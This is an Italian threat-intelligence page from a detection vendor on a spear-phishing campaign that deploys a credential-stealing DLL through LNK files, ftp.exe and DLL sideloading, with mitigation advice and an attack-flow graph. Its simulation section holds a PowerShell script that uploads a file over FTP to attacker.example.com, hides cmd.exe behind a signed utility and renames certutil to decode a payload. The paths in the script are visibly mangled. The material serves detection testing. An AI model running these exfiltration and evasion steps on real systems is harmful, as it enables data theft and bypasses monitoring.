SOC Prime Bias: Critico

02 Dic 2025 18:54

Operazione Ladro di Hanoi: Attore di Minaccia Colpisce Team IT e di Assunzione Vietnamiti

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
Operazione Ladro di Hanoi: Attore di Minaccia Colpisce Team IT e di Assunzione Vietnamiti
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Sommario

Un’operazione di spear-phishing denominata “Operation Hanoi Thief” distribuisce un archivio ZIP malevolo che comprende un collegamento (LNK) e un documento pseudo-poliglotta. Il collegamento sfrutta ftp.exe per eseguire uno script batch che posiziona una DLL chiamata MsCtfMonitor.dll in ProgramData e quindi esegue il DLL sideloading tramite ctfmon.exe. Questa DLL, soprannominata LOTUSHARVEST, ruba credenziali e cronologia del browser e quindi esfiltra i dati raccolti tramite HTTPS.

Analisi della Campagna Operation Hanoi Thief

I ricercatori di SEQRITE Labs APT-Team hanno estratto l’archivio ZIP, documentato la riga di comando LNK che sfrutta ftp.exe, osservato la creazione di un’origine rinominata certutil.exe binario e esplorato la catena di DLL sideloading. Hanno inoltre catturato indicatori di rete coinvolti nell’esfiltrazione dei dati e attribuito la campagna a un probabile attore di minaccia supportato da una nazione cinese.

Mitigazione

Le linee guida difensive includono il blocco dell’esecuzione di collegamenti sospetti LNK, la limitazione dell’uso di strumenti nativi di Windows come ftp.exe e certutil.exe in script non affidabili, l’applicazione di controlli sui percorsi di caricamento delle DLL e il monitoraggio del traffico HTTPS in uscita verso domini non familiari. Le organizzazioni dovrebbero anche applicare un rigoroso filtro sugli allegati email e rafforzare la formazione degli utenti in merito alle esche di phishing a tema curriculum.

Risposta

Generare avvisi sull’apparizione di MsCtfMonitor.dll in ProgramData, sulle esecuzioni di ftp.exe con il flag -s, e sulle richieste in uscita verso domini noti come malevoli. Mettere in quarantena i file colpiti, isolare il punto finale compromesso e procedere con la rotazione delle password e delle credenziali per i browser interessati.

mermaid graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#ffcc99 classDef process fill:#ff9966 classDef malware fill:#ff6666 classDef operator fill:#ff9900 %% Nodes action_phishing[“<b>Azione</b> – <b>T1566.001 Phishing: Allegato Spearphishing</b><br />L’avversario invia un archivio ZIP malevolo agli utenti target”] class action_phishing action file_malicious_zip[“<b>File</b> – Nome: Le‑Xuan‑Son_CV.zip<br />Contiene CV.pdf.lnk e PDF/PNG camuffati”] class file_malicious_zip file action_user_exec[“<b>Azione</b> – <b>T1204.002 Esecuzione Utente: File Malevolo</b><br />La vittima estrae l’archivio e apre il collegamento”] class action_user_exec action file_lnk[“<b>File</b> – Nome: CV.pdf.lnk (collegamento)”] class file_lnk file action_shortcut_mod[“<b>Azione</b> – <b>T1547.009 Esecuzione di Avvio o Accesso Automatico: Modifica Collegamento</b><br />LNK esegue ftp.exe con argomento –s”] class action_shortcut_mod action tool_ftp[“<b>Strumento</b> – Nome: ftp.exe (binario di sistema Windows)”] class tool_ftp tool action_proxy_exec[“<b>Azione</b> – <b>T1218 Esecuzione Proxy di Binari di Sistema</b><br />Binari legittimi abusati per eseguire comandi nascosti”] class action_proxy_exec action tool_device_cred_deploy[“<b>Strumento</b> – Nome: DeviceCredentialDeployment.exe”] class tool_device_cred_deploy tool tool_certutil[“<b>Strumento</b> – Nome: certutil.exe”] class tool_certutil tool action_masquerade[“<b>Azione</b> – <b>T1036.008 Mascheramento: Tipo di File<br>T1036.007 Mascheramento: Doppia Estensione</b><br />Payload camuffato da PDF/PNG e successivamente rinominato”] class action_masquerade action file_masq_pdf[“<b>File</b> – Nome: offsec‑certified‑professional.png (in realtĂ  PDF)”] class file_masq_pdf file action_compression[“<b>Azione</b> – <b>T1027.015 File Offuscati o Informazioni: Compressione</b><br />ZIP usato per distribuire il payload malevolo”] class action_compression action action_compile_after_delivery[“<b>Azione</b> – <b>T1027.004 Compilazione Dopo Consegna</b><br />DLL codificata in Base64 estratta da script poliglotta”] class action_compile_after_delivery action action_dll_sideload[“<b>Azione</b> – <b>T1574.002 DLL Side‑Loading</b><br />DLL malevola posizionata accanto a ctfmon.exe”] class action_dll_sideload action file_ctfmon_exe[“<b>File</b> – Nome: ctfmon.exe (copiato nella directory di lavoro)”] class file_ctfmon_exe file file_malicious_dll[“<b>File</b> – Nome: MsCtfMonitor.dll (malevolo)”] class file_malicious_dll malware action_process_injection[“<b>Azione</b> – <b>T1055.001 Injection di Processo: DLL Injection</b><br />DLL side-loadata caricata da ctfmon.exe esegue codice dell’attaccante”] class action_process_injection action action_browser_discovery[“<b>Azione</b> – <b>T1217 Scoperta Informazioni Browser</b><br />DLL legge database SQLite di Chrome ed Edge per URL”] class action_browser_discovery action action_credential_extraction[“<b>Azione</b> – <b>T1555.003 Credenziali dai Browser Web</b><br />Password decrittografate tramite CryptUnprotectData”] class action_credential_extraction action action_exfiltration_auto[“<b>Azione</b> – <b>T1020 Esfiltrazione Automatica</b><br />Dati preparati per esfiltrazione tramite HTTPS”] class action_exfiltration_auto action action_exfiltration_c2[“<b>Azione</b> – <b>T1041 Esfiltrazione su Canale C2</b><br /><b>T1102 Servizio Web</b><br />Dati inviati al dominio dell’attaccante tramite HTTP POST”] class action_exfiltration_c2 action %% Connections action_phishing u002du002d>|consegna| file_malicious_zip file_malicious_zip u002du002d>|contiene| file_lnk file_lnk u002du002d>|attivato da| action_user_exec action_user_exec u002du002d>|porta a| action_shortcut_mod action_shortcut_mod u002du002d>|esegue| tool_ftp tool_ftp u002du002d>|usato in| action_proxy_exec action_proxy_exec u002du002d>|utilizza anche| tool_device_cred_deploy action_proxy_exec u002du002d>|utilizza anche| tool_certutil action_shortcut_mod u002du002d>|utilizza| action_masquerade action_masquerade u002du002d>|crea| file_masq_pdf action_masquerade u002du002d>|si basa su| action_compression action_compression u002du002d>|abilita| action_compile_after_delivery action_compile_after_delivery u002du002d>|produce| file_malicious_dll action_compile_after_delivery u002du002d>|prepara| action_dll_sideload action_dll_sideload u002du002d>|posiziona DLL con| file_ctfmon_exe action_dll_sideload u002du002d>|posiziona| file_malicious_dll file_ctfmon_exe u002du002d>|carica| file_malicious_dll file_malicious_dll u002du002d>|esegue| action_process_injection action_process_injection u002du002d>|abilita| action_browser_discovery action_browser_discovery u002du002d>|fornisce dati a| action_credential_extraction action_credential_extraction u002du002d>|fornisce dati a| action_exfiltration_auto action_exfiltration_auto u002du002d>|invia dati tramite| action_exfiltration_c2 %% Class Assignments class tool_ftp tool class tool_device_cred_deploy tool class tool_certutil tool class file_malicious_zip file class file_lnk file class file_masq_pdf file class file_ctfmon_exe file class file_malicious_dll malware

Flusso di Attacco

Esecuzione Simulazione

Prerequisito: Il Controllo Pre‑volo di Telemetria & Baseline deve essere superato.

Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare la telemetria esatta prevista dalla logica di rilevamento.

  • Narrazione Attacco & Comandi:
    Un attaccante che ha ottenuto una shell a bassa privilegi su una macchina Windows compromessa desidera esfiltrare dati e mantenere l’invisibilitĂ .

    1. Fase 1 – Esecuzione script FTP: L’attaccante crea uno script temporaneo upload.txt contenente comandi FTP e esegue ftp.exe -s upload.txt per trasferire file a un server esterno.
    2. Fase 2 – Esecuzione comando proxy: Per nascondere l’uso di cmd.exe, l’attaccante lancia DeviceCredentialDeployment.exe con l’argomento cmd.exe /c whoami; l’utility firmata genera una shell di comando nascosta, evitando avvisi sul nome del processo.
    3. Fase 3 – Uso di certutil mascherato: L’attaccante copia certutil.exe a C:Templala.exe e esegue lala.exe -decode malicious.b64 output.exe per decodificare i payloads, utilizzando il rinomina per bypassare i rilevamenti basati sul nome del file.
  • Script Test di Regressione: Il seguente script PowerShell riproduce i tre passaggi in modo ripetibile.

    # Script Test di Regressione – attiva la regola di rilevamento
    # 1. FTP con flag -s
    $ftpScript = "$env:TEMPupload.txt"
    @"
    apri attacker.example.com
    utente testuser testpass
    metti C:WindowsSystem32notepad.exe notepad.exe
    esci
    "@ | Set-Content -Path $ftpScript -Encoding ASCII
    Start-Process -FilePath "C:WindowsSystem32ftp.exe" -ArgumentList "-s `"$ftpScript`"" -NoNewWindow -Wait
    
    # 2. DeviceCredentialDeployment.exe proxying cmd.exe
    $dccPath = "C:Program FilesDeviceCredentialDeploymentDeviceCredentialDeployment.exe"
    if (Test-Path $dccPath) {
        Start-Process -FilePath $dccPath -ArgumentList "cmd.exe /c whoami" -WindowStyle Hidden -Wait
    } else {
        Write-Host "DeviceCredentialDeployment.exe not found – skipping step 2."
    }
    
    # 3. Esecuzione mascherata di certutil
    $original = "$env:SystemRootSystem32certutil.exe"
    $masq = "$env:TEMPlala.exe"
    Copy-Item -Path $original -Destination $masq -Force
    $payload = "$env:TEMPmalicious.b64"
    $output  = "$env:TEMPdecoded.exe"
    # Crea un payload base64 fittizio
    [IO.File]::WriteAllText($payload, [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes("echo malevolo")))
    Start-Process -FilePath $masq -ArgumentList "-decode `"$payload`" `"$output`"" -NoNewWindow -Wait
  • Comandi di Pulizia: Rimuovere gli artefatti creati durante il test.

    # Script di Pulizia
    Remove-Item -Path "$env:TEMPupload.txt" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPmalicious.b64" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPdecoded.exe" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPlala.exe" -ErrorAction SilentlyContinue
    Write-Host "Pulizia completata."